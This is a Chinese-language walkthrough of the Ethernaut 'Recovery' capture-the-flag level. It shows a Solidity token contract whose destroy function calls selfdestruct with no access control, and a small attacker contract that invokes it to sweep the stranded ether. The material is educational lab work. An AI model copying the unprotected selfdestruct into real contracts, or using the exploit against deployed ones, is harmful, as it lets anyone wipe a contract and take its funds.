Skip to main content

Recovery

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

题目要求

题目背景是,Recovery合约通过generateToken方法创建新的 Token 以后,会给这个 Token 合约地址转 0.001 个 ETH,但是没有保存这些创建过的 Token 合约地址。现在是希望找回或移除掉之前创建合约里的 0.001ETH

题目分析

之前创建过的这些 Token 可以通过浏览器或者历史交易记录找到之前创建过的合约地址。找回 ETH 可以通过调用 Token 合约的destroy方法,然后将其他地址设置为接收地址。 这里不能调用transfer方法是因为msg.sender没办法指向到Recovery合约

攻击步骤

  1. 通过浏览器或者历史记录找到之前创建过的 Token 合约地址
  2. 调用合约的destory方法

这里我通过编写了一个合约来调用的,方便调试调用。这里直接跟 Token 合约交互也可以

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ISimpleToken {
function destroy(address payable _to) external;
}

contract Recovery {
// 这里_receiver不加payable属性也可以,因为自毁方法是强制转账的
function recover(ISimpleToken _token,address payable _receiver) external {
_token.destroy(_receiver);
}
}